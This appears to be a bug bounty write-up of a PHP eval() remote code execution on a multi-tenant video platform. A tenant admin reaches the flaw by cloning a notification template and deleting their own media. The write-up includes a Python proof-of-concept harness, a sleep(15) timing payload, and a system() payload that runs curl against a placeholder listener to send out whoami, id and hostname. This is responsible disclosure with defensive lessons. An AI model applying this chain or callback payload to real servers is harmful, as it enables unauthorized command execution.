Cozy animated pixel art room with warm lighting

How Deleting My Own Video Gave Me Code Execution on a Production Server

I created a disposable video entry in my own account and deleted it. The request should have done one boring thing: mark my video as deleted.

Instead, that deletion triggered a notification template, the template fed my input into PHP’s eval(), and a production web worker executed it as www-data.

The bug came from two small mistakes sitting next to each other. A filter treated the semicolon as if it were the dangerous part of PHP, and a missing permission check let an ordinary tenant administrator reach the evaluator. Neither mistake looked like a complete server takeover by itself. Chained together, they crossed the boundary between a customer account and the operating system underneath the platform.

This is how I found the sink, worked out a reliable trigger, proved it with controlled timing tests, and finished with a command-output callback without touching another tenant’s data or modifying files on the server.


The Door With No Latch

The platform name and identifying details are withheld. Code samples use renamed symbols; hostnames, paths, addresses, and IDs are illustrative replacements. I reported the issue through HackerOne, and it was patched.

Picture a front door with a sensor that looks for crowbars. Someone can still turn the handle because the door has no latch. The sensor works as designed; it checks for the wrong thing.

Here, the sensor was a check for ;, the character PHP uses to end a statement. The code then placed the customer’s input inside return ...; and evaluated it. A function call such as sleep(15) fits inside that expression. It needs no semicolon of its own.

The filter rejected some inputs. It did not stop the server from running code.


The Boundary I Was Testing

If you’ve ever watched an internal company training stream, attended a university lecture online, or used a video portal at work, you’ve likely interacted with this kind of backend. Video platforms often serve many organizations from shared infrastructure.

The platform hosts multiple customer accounts, or tenants, on shared infrastructure. Its roles separate customer administration from platform administration:

  • Platform Super-Admins: The internal infrastructure team with server-level access.
  • Tenant Admins: Normal customer accounts (a university department, a company, or a video publisher) holding a standard session_token. You can upload media, organize playlists, and configure webhooks for your account.
  • Viewers: Everyday users watching video content.

In multi-tenant software, tenant isolation is a core security boundary. A customer session should not be able to execute commands on the server or access another customer’s private assets.

My test account had tenant-level administrative access. It was allowed to manage its own videos and notification settings. It had no platform or host administration role.

The question was simple: could an action performed entirely inside my own tenant cross that wall and run code on the shared server?


Why I Always Hunt for Webhooks

Whenever I audit a mature target with hundreds of hardened API endpoints, I rarely waste time spamming standard account settings. I go straight for one feature: Webhooks and Event Notifications.

Why? Because webhook engines are almost always where clean software architecture goes to die.

Think about how a webhook works: something happens in the system (like an uploaded video finishes transcoding), and the server has to gather details from the database, build an outgoing HTTP request, and post it to a customer’s external server.

To give customers flexibility, developers love adding “custom data mapping” so tenants can customize the fields sent in the webhook.

And the moment developers try to make data extraction dynamic, they start reaching for template engines and expression evaluators.

While browsing the platform’s API services, I noticed an event notification service: eventnotification_template. It allowed tenants to create an outgoing webhook template and attach a data object (NotificationObjectData).

That object had a property named code.

I pulled up the open-source backend repository to see what that code property actually did.


The “Wait, Did I Actually Just Read That?” Moment

I opened the notification data class in the backend source. Its path and symbols are renamed here.

The method contained this check and evaluator:

public function setScope(NotificationScope $scope)
{
if(strpos($this->code, ';') !== false)
throw new TemplateException("Only simple values are allowed");
$object = eval("return {$this->code};");
// ... continues scope resolution ...
}

In plain terms: input containing a semicolon is rejected; anything else is wrapped in a return expression and passed to eval(). A single expression can call a function, and a function can have side effects.


Why The Semicolon Check Fails Completely

A security control that misunderstands the target language grammar isn’t a security control—it’s security theatre. In PHP, statements require semicolons to terminate; expressions do not.

In PHP:

  • Statements require semicolons to terminate.
  • Expressions do not.

Look at the exact string being fed into eval():

"return {$this->code};"

Notice that the wrapper already has a return before our input and a ; after our input. eval() expects whatever follows return to be a valid PHP expression.

What counts as a single, valid expression in PHP?

  • sleep(15) is a single expression.
  • system('whoami') is a single expression.
  • file_get_contents('/etc/passwd') is a single expression.
  • Nested function calls, arrays, arithmetic—all single expressions.

None of these need a semicolon. The only thing a semicolon does in PHP is separate multiple statements. By banning ;, the developer didn’t prevent code execution—they just asked attackers to fit their payload into one single expression!

The door was wide open.


Vulnerability #2: The Missing Permission Gate

Okay, so the eval() sink was wide open. But could an ordinary tenant administrator actually reach it?

Usually, in large enterprise software, dangerous configuration fields are protected with strict role checks so only platform super-administrators can set them.

I checked HttpNotificationTemplate.php to see how the data field was stored:

const CUSTOM_DATA_DATA = 'data';
public function getData()
{
return $this->getFromCustomData(self::CUSTOM_DATA_DATA);
}
public function setData(HttpNotificationPayload $v = null)
{
return $this->putInCustomData(self::CUSTOM_DATA_DATA, $v);
}

Look at what happened here:

  1. data was shoved directly into the generic customData storage bucket.
  2. It carried zero permission checks or role annotations.
  3. While creating brand new notification templates from scratch was supposedly restricted to platform super-admins in the permissions config, the clone and updateStatus actions were fully callable by any regular tenant session!

The plan was clear:

  • Take an existing default seed template (ID redacted).
  • Call clone on it, but overwrite the data field with our custom PHP payload in code.
  • The server clones the template into our account, saves our payload verbatim in customData, and returns a brand new template ID.

Expected vs. Actual Behavior

The expected boundary was straightforward: a tenant administrator could configure notifications for their own media, while executable template logic remained restricted to trusted platform code.

What happened instead was equally straightforward. The clone action accepted my nested data.code value, stored it, and let me activate the resulting template. When an event matched that template, the server evaluated my value inside the production web process.


The Domino Effect (How the Exploit Chains)

How do you actually wake up the template and force the server to execute your code?

When you clone a template, it starts out in status 1 (DISABLED). So first, we send an API call to updateStatus to flip it to status: 2 (ACTIVE). Now our listener is armed.

The template listens for entity mutation events on media objects (ENTRY). The easiest way to trigger one is to create a throwaway test video entry, then delete it with media.delete.

Deleting an entry marks its status as DELETED, which raises an internal EntityMutationEvent. The event dispatcher catches the mutation, queries all active templates, finds our cloned template, and calls NotificationBatchWorker::getJobData.

getJobData then calls $data->setScope($scope) synchronously, inside the web request.

Here is the entire chain visualized:

✎ How the request reached eval()Five steps, from one customer account to server-side execution.
  1. 01
    customer accountClone a notification template

    Put sleep(15) in the template’s code field. No semicolon needed.

  2. 02
    saved without a role checkStore the expression

    The server saves it in customData. The tenant can then activate the template.

  3. 03
    an ordinary actionDelete an owned media item

    That change fires an internal event. No access to another customer’s files is needed.

  4. 04
    inside the same requestRun the notification handler

    It finds the active template and resolves its data before the deletion response returns.

  5. 05
    the missing boundaryEvaluate the customer’s PHP

    The semicolon check passes. eval("return {$this->code};") runs the expression in the web worker.

The PoC Script

I went through several small scripts while tracing the path. One listed the built-in templates. Another checked whether a cloned template preserved my data.code value. A third tried manual dispatch. The useful breakthrough came when I stopped trying to call the notification handler directly and triggered the same event the application normally consumes: deleting a media entry.

The final test harness did five things:

  1. Clone a built-in HTTP notification template into my tenant.
  2. Replace its data.code value with one PHP expression.
  3. Activate the cloned template.
  4. Create and delete a throwaway media entry that I owned.
  5. Disable and remove everything created by the test.

Below is a sanitized illustration of the test sequence, not a drop-in client for the platform. Service names, request shape, object names, IDs, and credentials are placeholders. It shows the active/disabled control pattern; use only an authorized test environment.

import json
import time
import urllib.request
API_BASE = "https://platform.example/api/multirequest"
SESSION_TOKEN = "<tenant-admin-session>"
SEED_TEMPLATE_ID = 402 # illustrative replacement
def api(service, action, **params):
body = {
"0": {
"service": service,
"action": action,
"session_token": SESSION_TOKEN,
**params,
},
"apiVersion": "<redacted>",
}
request = urllib.request.Request(
API_BASE,
data=json.dumps(body).encode(),
headers={
"Content-Type": "application/json",
"X-Bug-Bounty": "research-test",
},
)
with urllib.request.urlopen(request, timeout=60) as response:
result = json.loads(response.read())
return result[0]
def clone_template(code, label):
template = {
"objectType": "HttpNotificationTemplate",
"name": f"poc-{label}",
"automaticDispatchEnabled": True,
"eventType": "OBJECT_CHANGED",
"eventObjectType": "MEDIA_ENTRY",
"url": "https://example.invalid/",
"method": "POST",
"data": {
"objectType": "NotificationObjectData",
"apiObjectType": "MediaEntry",
"code": code,
},
}
cloned = api(
"notification_template",
"clone",
id=SEED_TEMPLATE_ID,
eventNotificationTemplate=template,
)
api("notification_template", "updateStatus", id=cloned["id"], status="ACTIVE")
return cloned["id"]
def timed_delete(label):
entry = api(
"media",
"add",
entry={"name": f"poc-{label}", "mediaType": "VIDEO"},
)
started = time.monotonic()
api("media", "delete", entryId=entry["id"])
return time.monotonic() - started
template_id = clone_template("sleep(15)", "timing")
armed_1 = timed_delete("armed-1")
api("notification_template", "updateStatus", id=template_id, status="DISABLED")
control = timed_delete("control")
api("notification_template", "updateStatus", id=template_id, status="ACTIVE")
armed_2 = timed_delete("armed-2")
print(f"ACTIVE #1 : {armed_1:.2f}s")
print(f"DISABLED : {control:.2f}s")
print(f"ACTIVE #2 : {armed_2:.2f}s")
api("notification_template", "updateStatus", id=template_id, status="DISABLED")
api("notification_template", "delete", id=template_id)

The test used a fresh session and a new media entry for every measurement. That matters because reusing one request or one object would make it harder to separate code execution from caching, retries, or random network delay.


Proving It Safely: The Timing Oracle

When you find an RCE on a live, multi-tenant enterprise system, the last thing you should do is open an interactive shell or modify files. Those actions add risk and aren’t needed to establish the finding.

Because the notification engine resolves the scope synchronously inside the media deletion request, a delay inside eval() directly delays the server’s HTTP response. I used sleep(15) as a timing check.

I set the template’s code to:

sleep(15)

No semicolons. It is a valid PHP expression. The server executes:

eval("return sleep(15);");

The control results were:

Control Test Results

To check for ordinary network variation, I used fresh media entries and alternated the template between disabled and active:

Test RunTemplate StateInjected PayloadResponse TimeResult
Baseline 1Template DISABLED (status: 1)None0.70sNormal API latency
Armed Run 1Template ACTIVE (status: 2)sleep(15)15.86s+15.16s delay
Baseline 2Template DISABLED (status: 1)None0.69sBaseline restored
Armed Run 2Template ACTIVE (status: 2)sleep(15)15.67s+14.97s delay

The script printed the same pattern directly:

fresh session: True
ACTIVE #1 : 15.86s
DISABLED : 0.70s
ACTIVE #2 : 15.67s
DELTA #1 : 15.16s
DELTA #2 : 14.97s

The delay followed the template state. It appeared while the template was active, disappeared when I disabled it, and returned when I activated it again. That is much stronger evidence than one slow request.


Diagnostic Proof: The Out-of-Band Callback

The timing controls showed that my expression was being evaluated. I also wanted to show which process executed it, so I used a separate diagnostic callback.

I set the template’s notification destination to https://example.invalid (which can never connect).

Then I changed only the expression. The final diagnostic payload called a listener URL and placed a few harmless command results in the POST body. It was still one PHP expression and contained no semicolon:

system('curl -s --max-time 8 https://listener.example/<token> '
. '-d "whoami=$(whoami) id=$(id -u) gid=$(id -g) '
. 'host=$(hostname) pwd=$(pwd)"')

Using a unique path made it easy to match the callback to the exact delete request. The callback arrived with the following sanitized values:

POST https://webhook.site/<token>/cmdout-f23c46c47f50
From IP: 203.0.113.42 (Production API Cluster Node)
Time: 2026-09-26 13:00:46 UTC
BODY:
whoami = www-data
id = uid=48(www-data) gid=48(www-data)
pwd = /srv/media-cluster/app/api/web
uname = Linux [worker and kernel details redacted]

The callback supported three conclusions:

  1. whoami=www-data and UID 48 showed that the command ran as the web-server process.
  2. The working directory was the live application directory on a production API worker.
  3. Independent callbacks came from two backend workers, showing that the vulnerable path was present on more than one node in the production pool.

The screenshot below shows the redacted callback viewer. The callback URL, source address, request ID, hostname, application path, and kernel details are covered. The proof value remains visible: www-data id=48 gid=48.

Redacted callback request showing whoami as www-data and UID 48, GID 48

The evidence showed operating-system command execution from a tenant-level account on the production web workers I observed. The process ran as www-data, not root. That crossed the tenant security boundary.


Putting the Pieces Together

To recap how the chain worked:

  1. The Dangerous Sink: Developers used eval() for dynamic data formatting, relying on a semicolon ban to make it safe.
  2. The Language Blindspot: In PHP, expressions do not need semicolons to run.
  3. The Missing Permission Check: The template’s data payload was stored in customData without the needed role check.
  4. The Trigger: Deleting an owned media item synchronously dispatched the notification and evaluated the code.
  5. The Impact: Remote code execution as the web-server user.

The trigger was an ordinary action on an object I owned. The dangerous part happened afterward, inside the notification handler. Before finishing, I disabled each test template, deleted the cloned templates and throwaway entries, and checked that no test objects remained. Every media object belonged to my own tenant.


Key Takeaways for Developers

  1. Never use eval() for dynamic property mapping. Use an explicit allowlist of fields and accessors.
  2. Character blacklists are an illusion; validate a narrow data format instead of banning punctuation.
  3. Don’t hide sensitive properties in generic buckets. Apply authorization checks to nested values too.
  4. Use timing comparisons for ethical PoCs, with few requests and objects you own.

For example, a fixed resolver map keeps the input as a field name rather than treating it as PHP:

$fieldResolvers = [
'entry_id' => fn($item) => $item->getId(),
'entry_name' => fn($item) => $item->getName(),
'created_at' => fn($item) => $item->getCreatedAt(),
];
if (!isset($fieldResolvers[$requestedField])) {
throw new InvalidArgumentException("Unsupported field.");
}
return $fieldResolvers[$requestedField]($item);

A Local Demonstration

To make the PHP behavior easier to see, I made a small local demonstration script. It uses the same return ...; wrapper and the same semicolon check with fixed example inputs. It sends no requests to the platform.

Run it with PHP 8 or later:

Terminal window
php semicolon-demo.php

This is the output from a local run of that script, separate from the production measurements above:

LOCAL DEMO — no production requests
DISABLED sleep(1): 0.00s
ACTIVE sleep(1): 1.00s
DISABLED sleep(1): 0.00s
Expression result: EXPRESSION EXECUTED
With semicolon: Semicolon rejected

The filter rejects sleep(1);, yet accepts and executes sleep(1). The uppercase result shows the same thing without a delay: a function call executes even though the input has no semicolon.


Disclosure Timeline

  • 2026-09-26: Report submitted through HackerOne with the timing controls and command-output callback.
  • 2026-10-05: The security team validated the finding and accepted it for remediation.
  • 2026-10-19: The team said remediation had been implemented and verified; final deployment confirmation was still in progress.
  • 2026-10-26: The first bounty was approved.
  • 2026-11-02: A further bounty approval was recorded, and the team marked the report fixed and resolved.
  • 2026-11-03: The reward was updated after review. The final severity was marked 10/10, and the reward was adjusted to reflect the finding’s impact.
HackerOne report details showing Critical severity and resolved status